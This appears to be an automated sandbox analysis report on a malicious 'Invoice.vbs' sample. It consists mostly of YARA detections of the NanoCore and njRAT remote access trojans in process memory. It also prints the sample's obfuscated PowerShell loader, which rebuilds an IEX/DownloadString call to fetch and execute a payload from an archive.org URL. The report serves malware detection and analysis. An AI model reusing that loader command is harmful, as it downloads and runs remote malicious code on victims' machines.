Source: 20.2.aspnet_compiler.exe.3a33bb0.9.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3b7f99e.13.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3c47574.16.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3a33bb0.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3a3884f.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.3.aspnet_compiler.exe.3c6abfe.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.382d041.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.3.aspnet_compiler.exe.3c6abfe.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.2816288.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3828a18.7.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 20.2.aspnet_compiler.exe.3a25794.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 20.2.aspnet_compiler.exe.3b7f99e.13.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3814575.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3b7156e.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.2849aac.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.2849aac.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 20.2.aspnet_compiler.exe.286a330.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.286a330.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000016.00000002.1171008020.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>

Wscript starts Powershell (via cmd or directly)

Show sources

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 20_2_00D2E480	20_2_00D2E480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 20_2_00D2E471	20_2_00D2E471
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 20_2_00D2BBD4	20_2_00D2BBD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 22_2_01332B48	22_2_01332B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 22_2_01330E50	22_2_01330E50

Source: 3G1J49A6V_Invoice.vbs

Initial sample: Strings found which are bigger than 50

Source: 20.3.aspnet_compiler.exe.3c78ad1.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.3.aspnet_compiler.exe.3c78ad1.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 22.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 22.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: 20.2.aspnet_compiler.exe.3c5399f.15.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3c5399f.15.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3c5399f.15.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3c5399f.15.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3b7156e.12.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3b7156e.12.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.2855cf4.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.2855cf4.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3c47574.16.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3c47574.16.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3a25794.10.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3a25794.10.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.2849aac.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.2849aac.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3828a18.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3828a18.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.3.aspnet_compiler.exe.3c73e32.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.3.aspnet_compiler.exe.3c73e32.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.3.aspnet_compiler.exe.3c73e32.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.3.aspnet_compiler.exe.3c73e32.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3b6873f.11.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3b6873f.11.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3a33bb0.9.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3a33bb0.9.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3b7f99e.13.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3b7f99e.13.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3c47574.16.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3c47574.16.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3a33bb0.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3a33bb0.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3a3884f.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3a3884f.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.3.aspnet_compiler.exe.3c6abfe.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.3.aspnet_compiler.exe.3c6abfe.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.382d041.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.382d041.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.3.aspnet_compiler.exe.3c6abfe.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.3.aspnet_compiler.exe.3c6abfe.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.2816288.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.2816288.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3828a18.7.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3828a18.7.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.2855cf4.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 20.2.aspnet_compiler.exe.3a25794.10.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3a25794.10.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 20.2.aspnet_compiler.exe.3b7f99e.13.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3b7f99e.13.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
